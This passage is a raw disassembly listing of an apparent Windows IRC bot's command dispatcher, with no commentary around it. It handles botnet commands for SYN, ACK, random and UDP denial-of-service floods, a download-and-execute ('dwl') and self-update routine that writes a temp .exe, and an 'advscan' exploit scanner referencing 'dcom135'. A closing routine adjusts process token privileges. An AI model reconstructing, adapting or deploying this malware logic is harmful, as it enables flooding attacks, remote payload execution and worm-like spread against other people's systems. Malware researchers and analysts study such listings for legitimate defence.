aIrc_mode ; "irc.mode" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40E625 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_m ; "irc.m" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40E687 loc_40E625: ; CODE XREF: sub_40ABFE+3A08j cmp [ebp+var_2D4], 0 jz short loc_40E67F mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; SubStr push [ebp+var_2D4] ; Str call _strstr pop ecx pop ecx mov dword ptr [ebp+var_CF4], eax cmp dword ptr [ebp+var_CF4], 0 jz short loc_40E67F push dword ptr [ebp+var_CF4] ; char push offset aModeS ; "MODE %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch push dword ptr [ebp+var_CF4] ; char push offset dword_42339C ; Format call sub_4091D3 pop ecx pop ecx loc_40E67F: ; CODE XREF: sub_40ABFE+3A2Ej ; sub_40ABFE+3A57j mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E687: ; CODE XREF: sub_40ABFE+3A25j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aUp ; "up" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40E8FB mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; Str2 push offset aNeox ; "NeoX" call _strcmp pop ecx pop ecx test eax, eax jz loc_40E8AD lea eax, [ebp+Buffer] push eax ; lpBuffer push 104h ; nBufferLength call ds:GetTempPathA ; GetTempPathA push 0FFh ; Count mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Source lea eax, [ebp+var_F18] push eax ; Dest call _strncpy add esp, 0Ch lea eax, [ebp+var_FB8] push eax call sub_40F9B6 pop ecx push eax lea eax, [ebp+Buffer] push eax push offset aSS_exe ; "%s%s.exe" lea eax, [ebp+var_E18] push eax ; Dest call _sprintf add esp, 10h mov [ebp+var_D14], 1 and [ebp+var_D10], 0 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_94], 0 jz short loc_40E767 push 10h ; Radix push 0 ; EndPtr mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] ; Str call _strtoul add esp, 0Ch mov [ebp+var_1944], eax jmp short loc_40E76E ; --------------------------------------------------------------------------- loc_40E767: ; CODE XREF: sub_40ABFE+3B46j and [ebp+var_1944], 0 loc_40E76E: ; CODE XREF: sub_40ABFE+3B67j mov eax, [ebp+var_1944] mov [ebp+var_D08], eax mov eax, [ebp+var_BC] cmp dword ptr [ebp+eax*4+var_90], 0 jz short loc_40E7A5 mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_90] ; Str call _atoi pop ecx mov [ebp+var_1948], eax jmp short loc_40E7AC ; --------------------------------------------------------------------------- loc_40E7A5: ; CODE XREF: sub_40ABFE+3B8Aj and [ebp+var_1948], 0 loc_40E7AC: ; CODE XREF: sub_40ABFE+3BA5j mov eax, [ebp+var_1948] mov [ebp+var_D0C], eax movzx eax, [ebp+var_36F] mov [ebp+var_D04], eax mov eax, [ebp+s] mov [ebp+var_F9C], eax push 7Fh ; Count push dword ptr [ebp+var_98] ; Source lea eax, [ebp+var_F98] push eax ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_CFC], eax mov eax, [ebp+var_4] mov [ebp+var_D00], eax mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset unk_4233D4 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch push [ebp+s] ; int push 17h ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_D18], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+var_F9C] push eax ; lpParameter push offset sub_4095D3 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_D18] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_D18] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40E890 loc_40E87B: ; CODE XREF: sub_40ABFE+3C8Ej cmp [ebp+var_CF8], 0 jnz short loc_40E88E push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40E87B ; --------------------------------------------------------------------------- loc_40E88E: ; CODE XREF: sub_40ABFE+3C84j jmp short loc_40E8AB ; --------------------------------------------------------------------------- loc_40E890: ; CODE XREF: sub_40ABFE+3C7Bj call ds:GetLastError push eax push offset unk_423410 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40E8AB: ; CODE XREF: sub_40ABFE:loc_40E88Ej jmp short loc_40E8C0 ; --------------------------------------------------------------------------- loc_40E8AD: ; CODE XREF: sub_40ABFE+3AC5j push offset unk_42345C ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_40E8C0: ; CODE XREF: sub_40ABFE:loc_40E8ABj cmp [ebp+var_4], 0 jnz short loc_40E8E6 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40E8E6: ; CODE XREF: sub_40ABFE+3CC6j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E8FB: ; CODE XREF: sub_40ABFE+3AA4j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_94], 0 jnz short loc_40E913 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40E913: ; CODE XREF: sub_40ABFE+3D0Bj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aDdos_syn_0 ; "ddos.syn" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40E96E mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aDdos_ack_0 ; "ddos.ack" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40E96E mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aDdos_random_0 ; "ddos.random" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40EAE8 loc_40E96E: ; CODE XREF: sub_40ABFE+3D30j ; sub_40ABFE+3D4Dj push 0FFh ; Count mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Source lea eax, [ebp+var_1348] push eax ; Dest call _strncpy add esp, 0Ch push 7Fh ; Count mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; Source lea eax, [ebp+var_11C8] push eax ; Dest call _strncpy add esp, 0Ch push 7Fh ; Count mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] ; Source lea eax, [ebp+var_1148] push eax ; Dest call _strncpy add esp, 0Ch push 7Fh ; Count push dword ptr [ebp+var_98] ; Source lea eax, [ebp+var_1248] push eax ; Dest call _strncpy add esp, 0Ch push 20h ; Count mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Source lea eax, [ebp+var_1368] push eax ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_10C8], eax mov eax, [ebp+var_4] mov [ebp+var_10C4], eax mov eax, [ebp+s] mov [ebp+var_1370], eax push 0 ; int push 0Ah ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_136C], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+var_1370] push eax ; lpParameter push offset sub_40634F ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_136C] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_136C] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40EA92 loc_40EA7D: ; CODE XREF: sub_40ABFE+3E90j cmp [ebp+var_10C0], 0 jnz short loc_40EA90 push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40EA7D ; --------------------------------------------------------------------------- loc_40EA90: ; CODE XREF: sub_40ABFE+3E86j jmp short loc_40EAE0 ; --------------------------------------------------------------------------- loc_40EA92: ; CODE XREF: sub_40ABFE+3E7Dj call ds:GetLastError push eax push offset aDdosFailedToSt ; "[DDOS]: Failed to start ddos thread, er"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40EAD3 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40EAD3: ; CODE XREF: sub_40ABFE+3EB3j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx loc_40EAE0: ; CODE XREF: sub_40ABFE:loc_40EA90j push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40EAE8: ; CODE XREF: sub_40ABFE:loc_40C0D4j ; sub_40ABFE+27DDj ... mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aDdos_udp ; "ddos.udp" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40EC5B push 0FFh ; Count mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Source lea eax, [ebp+var_1504] push eax ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; Str call _atoi pop ecx mov [ebp+var_1384], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] ; Str call _atoi pop ecx mov [ebp+var_1380], eax push 7Fh ; Count push dword ptr [ebp+var_98] ; Source lea eax, [ebp+var_1404] push eax ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_137C], eax mov eax, [ebp+var_4] mov [ebp+var_1378], eax mov eax, [ebp+s] mov [ebp+var_150C], eax push 0 ; int push 0Fh ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_1508], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+var_150C] push eax ; lpParameter push offset sub_406B0C ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_1508] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_1508] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40EC05 loc_40EBF0: ; CODE XREF: sub_40ABFE+4003j cmp [ebp+var_1374], 0 jnz short loc_40EC03 push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40EBF0 ; --------------------------------------------------------------------------- loc_40EC03: ; CODE XREF: sub_40ABFE+3FF9j jmp short loc_40EC53 ; --------------------------------------------------------------------------- loc_40EC05: ; CODE XREF: sub_40ABFE+3FF0j call ds:GetLastError push eax push offset aDdosFailedTo_0 ; "[DDOS]: Failed to start ddos thread, er"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40EC46 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40EC46: ; CODE XREF: sub_40ABFE+4026j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx loc_40EC53: ; CODE XREF: sub_40ABFE:loc_40EC03j push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40EC5B: ; CODE XREF: sub_40ABFE+3F05j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aDwl ; "dwl" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40EEC0 push 0FFh ; Count mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Source lea eax, [ebp+var_1730] push eax ; Dest call _strncpy add esp, 0Ch push 0FFh ; Count mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; Source lea eax, [ebp+var_1630] push eax ; Dest call _strncpy add esp, 0Ch and [ebp+var_152C], 0 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_94], 0 jz short loc_40ECF0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] ; Str call _atoi pop ecx mov [ebp+var_194C], eax jmp short loc_40ECF7 ; --------------------------------------------------------------------------- loc_40ECF0: ; CODE XREF: sub_40ABFE+40D5j and [ebp+var_194C], 0 loc_40ECF7: ; CODE XREF: sub_40ABFE+40F0j mov eax, [ebp+var_194C] mov [ebp+var_1528], eax mov eax, [ebp+var_BC] cmp dword ptr [ebp+eax*4+var_90], 0 jz short loc_40ED34 push 10h ; Radix push 0 ; EndPtr mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_90] ; Str call _strtoul add esp, 0Ch mov [ebp+var_1950], eax jmp short loc_40ED3B ; --------------------------------------------------------------------------- loc_40ED34: ; CODE XREF: sub_40ABFE+4113j and [ebp+var_1950], 0 loc_40ED3B: ; CODE XREF: sub_40ABFE+4134j mov eax, [ebp+var_1950] mov [ebp+var_1520], eax mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_8C], 0 jz short loc_40ED72 mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] ; Str call _atoi pop ecx mov [ebp+var_1954], eax jmp short loc_40ED79 ; --------------------------------------------------------------------------- loc_40ED72: ; CODE XREF: sub_40ABFE+4157j and [ebp+var_1954], 0 loc_40ED79: ; CODE XREF: sub_40ABFE+4172j mov eax, [ebp+var_1954] mov [ebp+var_1524], eax movzx eax, [ebp+var_36F] mov [ebp+var_151C], eax mov eax, [ebp+s] mov [ebp+var_17B4], eax push 7Fh ; Count push dword ptr [ebp+var_98] ; Source lea eax, [ebp+var_17B0] push eax ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_1514], eax mov eax, [ebp+var_4] mov [ebp+var_1518], eax mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] push offset unk_423548 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 10h push [ebp+s] ; int push 16h ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_1530], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+var_17B4] push eax ; lpParameter push offset sub_4095D3 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_1530] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_1530] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40EE6A loc_40EE55: ; CODE XREF: sub_40ABFE+4268j cmp [ebp+var_1510], 0 jnz short loc_40EE68 push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40EE55 ; --------------------------------------------------------------------------- loc_40EE68: ; CODE XREF: sub_40ABFE+425Ej jmp short loc_40EE85 ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40ABFE+4255j call ds:GetLastError push eax push offset unk_423584 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40EE85: ; CODE XREF: sub_40ABFE:loc_40EE68j cmp [ebp+var_4], 0 jnz short loc_40EEAB push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40EEAB: ; CODE XREF: sub_40ABFE+428Bj lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40EEC0: ; CODE XREF: sub_40ABFE+4078j mov eax, [ebp+var_BC] cmp dword ptr [ebp+eax*4+var_90], 0 jnz short loc_40EED8 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40EED8: ; CODE XREF: sub_40ABFE+42D0j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aAdvscan ; "advscan" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40F50F push 8 call sub_4105E0 pop ecx mov [ebp+var_17B8], eax mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; Str call _atoi pop ecx mov ecx, [ebp+var_17B8] add ecx, eax cmp ecx, 0C8h jle short loc_40EF69 push [ebp+var_17B8] push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h jmp loc_40F50F ; --------------------------------------------------------------------------- loc_40EF69: ; CODE XREF: sub_40ABFE+432Aj mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str call _atoi pop ecx mov [ebp+var_17F0], eax mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_98] ; Str call _atoi pop ecx mov [ebp+var_17D8], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] ; Str call _atoi pop ecx mov [ebp+var_17EC], eax cmp [ebp+var_17EC], 5 jnb short loc_40EFC9 mov [ebp+var_1958], 5 jmp short loc_40EFD5 ; --------------------------------------------------------------------------- loc_40EFC9: ; CODE XREF: sub_40ABFE+43BDj mov eax, [ebp+var_17EC] mov [ebp+var_1958], eax loc_40EFD5: ; CODE XREF: sub_40ABFE+43C9j mov eax, [ebp+var_1958] mov [ebp+var_17EC], eax cmp [ebp+var_17EC], 3Ch jbe short loc_40EFF6 mov [ebp+var_195C], 3Ch jmp short loc_40F002 ; --------------------------------------------------------------------------- loc_40EFF6: ; CODE XREF: sub_40ABFE+43EAj mov eax, [ebp+var_17EC] mov [ebp+var_195C], eax loc_40F002: ; CODE XREF: sub_40ABFE+43F6j mov eax, [ebp+var_195C] mov [ebp+var_17EC], eax mov eax, [ebp+var_BC] push dword ptr [ebp+eax*4+var_90] ; Str call _atoi pop ecx mov [ebp+var_17E8], eax cmp [ebp+var_17E8], 320h jbe short loc_40F03F mov [ebp+var_1960], 320h jmp short loc_40F04B ; --------------------------------------------------------------------------- loc_40F03F: ; CODE XREF: sub_40ABFE+4433j mov eax, [ebp+var_17E8] mov [ebp+var_1960], eax loc_40F04B: ; CODE XREF: sub_40ABFE+443Fj mov eax, [ebp+var_1960] mov [ebp+var_17E8], eax or [ebp+var_17D4], 0FFFFFFFFh and [ebp+var_5D8], 0 jmp short loc_40F074 ; --------------------------------------------------------------------------- loc_40F067: ; CODE XREF: sub_40ABFE:loc_40F0D0j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40F074: ; CODE XREF: sub_40ABFE+4467j mov eax, [ebp+var_5D8] imul eax, 3Ch cmp dword_41ED98[eax], 0 jz short loc_40F0D2 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str2 mov eax, [ebp+var_5D8] imul eax, 3Ch add eax, offset aDcom135_0 ; "dcom135" push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40F0D0 mov eax, [ebp+var_5D8] imul eax, 3Ch mov eax, dword_41ED98[eax] mov [ebp+var_17F0], eax mov eax, [ebp+var_5D8] mov [ebp+var_17D4], eax jmp short loc_40F0D2 ; --------------------------------------------------------------------------- loc_40F0D0: ; CODE XREF: sub_40ABFE+44ADj jmp short loc_40F067 ; --------------------------------------------------------------------------- loc_40F0D2: ; CODE XREF: sub_40ABFE+4486j ; sub_40ABFE+44D0j cmp [ebp+var_17F0], 0 jnz short loc_40F129 push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan, port is i"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_40F114 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40F114: ; CODE XREF: sub_40ABFE+44F4j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40F129: ; CODE XREF: sub_40ABFE+44DBj mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_8C], 0 jz short loc_40F193 mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_8C] movsx eax, byte ptr [eax] cmp eax, 23h jz short loc_40F193 mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] ; Format push 10h ; Count lea eax, [ebp+var_1904] push eax ; Dest call __snprintf add esp, 0Ch push 78h ; Val mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] ; Str call _strchr pop ecx pop ecx neg eax sbb eax, eax neg eax mov [ebp+var_17C4], eax jmp loc_40F306 ; --------------------------------------------------------------------------- loc_40F193: ; CODE XREF: sub_40ABFE+4539j ; sub_40ABFE+454Ej movzx eax, [ebp+var_373] test eax, eax jnz short loc_40F1B8 movzx eax, [ebp+var_372] test eax, eax jnz short loc_40F1B8 movzx eax, [ebp+var_362] test eax, eax jz loc_40F2B8 loc_40F1B8: ; CODE XREF: sub_40ABFE+459Ej ; sub_40ABFE+45A9j mov [ebp+namelen], 10h lea eax, [ebp+namelen] push eax ; namelen lea eax, [ebp+name] push eax ; name push [ebp+s] ; s call ds:getsockname ; getsockname movzx eax, [ebp+var_373] neg eax sbb eax, eax and ax, 100h add eax, 0FFFFh mov ecx, dword ptr [ebp+name.sa_data+2] and ecx, eax mov dword ptr [ebp+name.sa_data+2], ecx push 10h ; Count push dword ptr [ebp+name.sa_data+2] ; in call ds:inet_ntoa ; inet_ntoa push eax ; Source lea eax, [ebp+var_1904] push eax ; Dest call _strncpy add esp, 0Ch movzx eax, [ebp+var_362] test eax, eax jz loc_40F2AF movzx eax, [ebp+var_373] neg eax sbb eax, eax neg eax inc eax inc eax mov [ebp+var_1924], eax push 30h ; Ch lea eax, [ebp+var_1904] push eax ; Str call _strrchr pop ecx pop ecx mov [ebp+var_191C], eax and [ebp+var_1920], 0 jmp short loc_40F289 ; --------------------------------------------------------------------------- loc_40F25C: ; CODE XREF: sub_40ABFE+46A3j mov eax, [ebp+var_191C] mov byte ptr [eax], 78h push 30h ; Ch lea eax, [ebp+var_1904] push eax ; Str call _strrchr pop ecx pop ecx mov [ebp+var_191C], eax mov al, [ebp+var_1920] add al, 1 mov [ebp+var_1920], al loc_40F289: ; CODE XREF: sub_40ABFE+465Cj movsx eax, [ebp+var_1920] cmp eax, [ebp+var_1924] jge short loc_40F2A3 cmp [ebp+var_191C], 0 jz short loc_40F2A3 jmp short loc_40F25C ; --------------------------------------------------------------------------- loc_40F2A3: ; CODE XREF: sub_40ABFE+4698j ; sub_40ABFE+46A1j mov [ebp+var_17C4], 1 jmp short loc_40F2B6 ; --------------------------------------------------------------------------- loc_40F2AF: ; CODE XREF: sub_40ABFE+4624j and [ebp+var_17C4], 0 loc_40F2B6: ; CODE XREF: sub_40ABFE+46AFj jmp short loc_40F306 ; --------------------------------------------------------------------------- loc_40F2B8: ; CODE XREF: sub_40ABFE+45B4j push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan, no IP spe"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_40F2F1 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40F2F1: ; CODE XREF: sub_40ABFE+46D1j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40F306: ; CODE XREF: sub_40ABFE+4590j ; sub_40ABFE:loc_40F2B6j mov eax, [ebp+s] mov [ebp+var_17F4], eax mov eax, [ebp+var_85C] mov [ebp+var_17CC], eax mov eax, [ebp+var_4] mov [ebp+var_17C8], eax push dword ptr [ebp+var_98] ; Format push 80h ; Count lea eax, [ebp+var_18F4] push eax ; Dest call __snprintf add esp, 0Ch mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_88], 0 jz short loc_40F371 mov eax, [ebp+var_BC] push [ebp+eax*4+var_88] ; Format push 80h ; Count lea eax, [ebp+var_1874] push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_40F3F0 ; --------------------------------------------------------------------------- loc_40F371: ; CODE XREF: sub_40ABFE+474Ej mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_8C], 0 jz short loc_40F3B9 mov eax, [ebp+var_BC] mov eax, [ebp+eax*4+var_8C] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40F3B9 mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] ; Format push 80h ; Count lea eax, [ebp+var_1874] push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_40F3F0 ; --------------------------------------------------------------------------- loc_40F3B9: ; CODE XREF: sub_40ABFE+4781j ; sub_40ABFE+4796j push offset byte_470268 ; Str2 push offset aExp_1 ; "#!exp!#" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40F3E9 push offset aExp_1 ; "#!exp!#" push 80h ; Count lea eax, [ebp+var_1874] push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_40F3F0 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40ABFE+47CEj and [ebp+var_1874], 0 loc_40F3F0: ; CODE XREF: sub_40ABFE+4771j ; sub_40ABFE+47B9j ... cmp [ebp+var_17C4], 0 jz short loc_40F405 mov [ebp+var_1964], offset aRandom_0 ; "Random" jmp short loc_40F40F ; --------------------------------------------------------------------------- loc_40F405: ; CODE XREF: sub_40ABFE+47F9j mov [ebp+var_1964], offset aSequential_0 ; "Sequential" loc_40F40F: ; CODE XREF: sub_40ABFE+4805j push [ebp+var_17D8] push [ebp+var_17E8] push [ebp+var_17EC] push [ebp+var_17F0] lea eax, [ebp+var_1904] push eax push [ebp+var_1964] push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 20h push 0 ; int push 8 ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_17E4], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+var_1904] push eax ; lpParameter push offset sub_405A2E ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_17E4] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_17E4] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40F4BC loc_40F4A7: ; CODE XREF: sub_40ABFE+48BAj cmp [ebp+var_17C0], 0 jnz short loc_40F4BA push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F4BA: ; CODE XREF: sub_40ABFE+48B0j jmp short loc_40F4D7 ; --------------------------------------------------------------------------- loc_40F4BC: ; CODE XREF: sub_40ABFE+48A7j call ds:GetLastError push eax push offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan thread, er"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40F4D7: ; CODE XREF: sub_40ABFE:loc_40F4BAj cmp [ebp+var_4], 0 jnz short loc_40F4FD push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40F4FD: ; CODE XREF: sub_40ABFE+48DDj lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp short loc_40F512 ; --------------------------------------------------------------------------- loc_40F50F: ; CODE XREF: sub_40ABFE+94Bj ; sub_40ABFE+958j ... mov eax, [ebp+arg_24] loc_40F512: ; CODE XREF: sub_40ABFE+68j ; sub_40ABFE+13Bj ... pop esi leave retn sub_40ABFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F515 proc near ; CODE XREF: sub_405D52+D0p ; sub_405D52+5B6p ... hObject = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h and [ebp+var_4], 0 lea eax, [ebp+hObject] push eax push 28h call ds:GetCurrentProcess ; GetCurrentProcess push eax call dword_42640C ; OpenProcessToken test eax, eax jnz short loc_40F53B mov eax, [ebp+var_4] jmp short locret_40F5A5 ; --------------------------------------------------------------------------- loc_40F53B: ; CODE XREF: sub_40F515+1Fj lea eax, [ebp+var_10] push eax push [ebp+arg_0] push 0 call dword_4263EC ; LookupPrivilegeValueA test eax, eax jnz short loc_40F55C push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle mov eax, [ebp+var_4] jmp short locret_40F5A5 ; --------------------------------------------------------------------------- loc_40F55C: ; CODE XREF: sub_40F515+37j mov [ebp+var_14], 1 cmp [ebp+arg_4], 0 jz short loc_40F573 mov eax, [ebp+var_8] or al, 2 mov [ebp+var_8], eax jmp short loc_40F581 ; --------------------------------------------------------------------------- loc_40F573: ; CODE XREF: sub_40F515+52j mov eax, [ebp+var_8] and eax, 2 mov ecx, [ebp+var_8] xor ecx, eax mov [ebp+var_8], ecx loc_40F581: ; CODE XREF: sub_40F515+5Cj push 0 push 0 push 0 lea eax, [ebp+var_14] push eax push 0 push [ebp+hObject] call dword_42648C ; AdjustTokenPrivileges mov [ebp+var_4], eax push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle mov eax, [ebp+var_4] locret_40F5A5: ; CODE XREF: sub_40F515+24j ; sub_40F515+45j leave retn sub_40F515 endp ; =============== S U B R O U T I N E ======================================= 